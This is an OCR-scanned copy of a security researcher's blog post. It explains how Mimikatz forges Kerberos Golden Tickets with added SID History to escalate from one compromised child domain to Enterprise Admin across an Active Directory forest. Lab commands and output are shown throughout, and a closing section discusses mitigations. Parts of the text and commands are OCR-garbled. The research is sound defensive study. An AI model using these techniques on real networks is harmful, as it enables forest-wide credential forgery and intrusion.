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At my talk at Black Hat USA 2015, I highlighted new Golden Ticket capability in Mimikatz (“Enhanced Golden
Tickets”). This post provides additional detailed on “enhanced” Golden Tickets.

Over the past few months, I researched how SID History can be abused in modern enterprises. As part of this
research, I reached out to Benjamin Delpy, author of Mimkatz, and requested he add “SID History” to Mimikatz
forged Kerberos tickets. The June 28th version of Mimikatz now includes the capability to include arbitrary SIDs

in SID History on forged tickets.

SID History is a legacy feature that enables reach-back across Active Directory trusts. This functionality was put
in place when Active Directory was first released to support migration scenarios. When a user is authenticated, the
SIDs of every security group the user is a member of is added to the user’s Kerberos ticket, as well as any SIDs in

the user’s SID History. Since SID History is meant to work across trusts, it provides cross-trust “impersonation”.
Before we dig into this further, let’s recap what Golden Tickets are and how they work.

Golden Tickets

Golden Tickets are forged Ticket-Granting Tickets (TGTs), also called authentication tickets.

As shown in the following graphic, there is no AS-REQ or AS-REP (steps 1 & 2) communication with the Domain
Controller. Since a Golden Ticket is a forged TGT, it is sent to the Domain Controller as part of the TGS-REQ to

get a service ticket.

Domain Controller

P
. w
il 7 E 4 NS
- . 65\ .
; e o
o e
~_ (e -~
e ;
i ﬁe_\l' ‘\(35\
e - ‘Q")?";:e(,e'\
Lo = ?\0\9@9\
g Sl
N o
o .
* e
*—— 6. APREP (option APREQfpreseanGSforaccess}—7 SR el

5 . al, used SR
User’s Workstation When mutual authentication is re R

quested)— 0

Application Server

Page 1 of 4


https://www.blackhat.com/us-15/briefings.html#red-vs-blue-modern-active-directory-attacks-detection-and-protection
https://adsecurity.org/wp-content/uploads/2015/04/Visio-GoldenTicket-Comms.png
https://adsecurity.org/wp-content/uploads/2015/04/Visio-GoldenTicket-Comms.png

https://adsecurity.org/?p=1640

The Kerberos Golden Ticket is a valid TGT Kerberos ticket since it is encrypted/signed by the domain Kerberos
account (KRBTGT). The TGT is only used to prove to the KDC service on the Domain Controller that the user

was authenticated by another Domain Controller. The fact that the TGT is encrypted by the KRBTGT password
hash and can be decrypted by any KDC service in the domain proves it is valid (along with PAC validation, but

that’s another story () ).

Golden Ticket Requirements:

* Domain Name [AD PowerShell module: (Get-ADDomain).DNSRoot]

* Domain SID [AD PowerShell module: (Get-ADDomain).DomainSID.Value]
* Domain KRBTGT Account NTLM password hash

* UserID for impersonation.

Once an attacker has admin access to a Domain Controller, the KRBTGT account password hashes can be

extracted using Mimikatz.

mimikatz({commandline) # sekurl=sa::krbtgt

credentials
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Golden Ticket “Limitation”

As incredible as Golden Tickets are, they have been “limited” to spoofing Admin rights to the current domain. The
limitation exists when the KRBTGT account password hash is exposed in a child domain that is part of a multi-
domain AD forest. The issue is that the parent (root) domain contains the forest-wide admin group, Enterprise
Admins. Since Mimikatz adds group membership by the Relative IDentifiers (RIDs) to the ticket, the 519
(Enterprise Admin) RID is identified in the Kerberos ticket as being local to the domain it was created in (based
on the KRBTGT account domain). If the domain Security IDentifier (SID) created by taking the domain SID and

appending the RID doesn’t exist, then the holder of the Kerberos ticket doesn’t receive that level of access.

In other words, in a mult-domain AD forest, if the domain the Golden Ticket was created in doesn’t contain the

Enterprise Admins group, the Golden Ticket won’t provide admin rights to other domains in the forest.

In a single domain Active Directory forest, this limitation doesn’t exist since the Enterprise Admins group is

hosted in this domain (and this is where the Golden Tickets would be created).

Graphic: Golden Ticket doesn’t work across trusts unless in EA domain.
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mimikatz{commandline> # kerbero golden sadmin:Administrator Adomain:resource.lab.adsecurity.org /sid:85-1-5-21-22421421
39— 4123614326 4135338336 skrbtyg 83h463d8hc43615a1425c6a735335hh sstartoffzet:A sendin:6B8 rrenewmax:-1806080 ~ptt
Administrator
: resource.lab.adsecurity.org
A gﬂé 5-21-224214210%- 4123614326 4135338336
Groups Id =513 512 528 518 519
ServiceKe 488h468d8hc43615a1425c6a?35e85bh — »cd_hmac
73,2015 1A:52:28 PM ; 7-4-20815 8:52:28 AM ; 7/18/2315 18:52:28 PM
: #x Pass The Ticket ==

PAC generated
PAC signed

EncTicketPart generated

EncTicketPart encrypted

KrhCred generated
Golden ticket for ’‘Administrator @ resource.lab.adsecurity.org’ successfully submitted for current session
mimikatz{commandline> # exit

sstempsmimikatz > net w ads2dcl2.resource.lab.adsecur .org~adming
he command completed succ 11y.

PS C:stempsmimikatz? net use ““adsdc@3.lab.adsecurity.orgsadmin®
The password is invalid for “NadsdcB3.lab.adsecurity.orgsadmin.

The standard Golden Ticket is limited to the child domain it was created in, so now we add SID History to the

equation...
Golden Ticket + SID History = WINNING!

In a migration scenario, a user who is migrated from DomainA to DomainB has the original DomainA user SID
added to the new DomainB SIDHistory attribute. When the user logs onto DomainB with the new account, the
DomainA SID is evaluated along with the DomainB user’s groups which determines access. This means that a

SID can be added to SID History to expand access.

Things get more interesting once Mimikatz supports SID History in Golden Tickets (and Silver Tickets) since any
group in the AD Forest can be included and used for authorization decisions. In order to support my research into
how to expand access using SID History in Kerberos tickets across trusts (both intra-forest and external), I

reached out to Benjamin Delpy in late June and requested SID History be added.

Using the latest version of Mimikatz, we can now add SID History to the Golden Ticket for the Forest Enterprise
Admins group. This enables forest-wide compromise once a single domain’s KRBTGT account password hash is

exposed.

mimikatz<{commandline> # kerbergs: B in:f inj . o in:re rce . lab.adsecurity.orgy ~sid:5-1-5-21-22421421
B7-4128614826-4135338336 i 7 9 <14 RHEE 7] /krbhtgt : 488h468d8bc43615a1425c6a?35e85bh /s
tartoffset: B sendin 688 Arenewmax: i
Administrator
: resource.lab.adsecurity.o
= 8-1-5-21-22421421909- 4128614326 4135338336
= 588

Rey: A00ha6ndohcIah1Gala
Lifetime = ?/3,2815 11:54:5% PHM
—> Ticket : == Pass The Ticket ==
=* PAC generated

=* PAC signed

#* EncTicketPart generated

*

*

EncTicketPart encrypted
KrbCred generated

Golden ticket for 'Administrator @ resource.lab.adsecurity.org’ successfully submitted for current

mimikatz{commandline> # exit

PS C:stempsmimikatz?> net use ““ads2del2.resource.lab.adsecurity.orghadming
he command completed successfully.

PS C:stempsmimikatz? net use ““adsdcB2.labh.adsecurity.org-admin$
he command completed successfully.

PS C:stempsmimikatz» net use “sadsdcB3.labh.adsecurity.orgsadmin$
he command completed successfully.

In summary, Golden Tickets can now be used to compromise any domain in the AD Forest once a single

one is compromised.
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Update:

It has been noted that enabling SID Filtering between trusts in an Active Directory forest would mitigate this since
SID History wouldn’t work. That may be true, though there’s a couple of potential issues with this approach: 1) I
have never seen this configured in a production environment, 2) I’m not sure of Microsoft’s support posture on
this, and 3) enabling SID filtering on trusts within an AD forest may break applications that rely on universal
group membership across domains (this could be a pretty big deal since universal groups are typically used
frequently in multi-domain AD forests). These may seem like minor issues, but I have seen several large enterprise
AD environments that break when non-standard approaches are taken since the developers didn’t take the config

into account when testing.

More on Active Directory trust security.

Note that the Active Directory domain is not the security boundary; the AD forest is. This means that if you need

account isolation, you need AD forests, not domains in an AD forest.

Source: https://adsecurity.org/?p=1640
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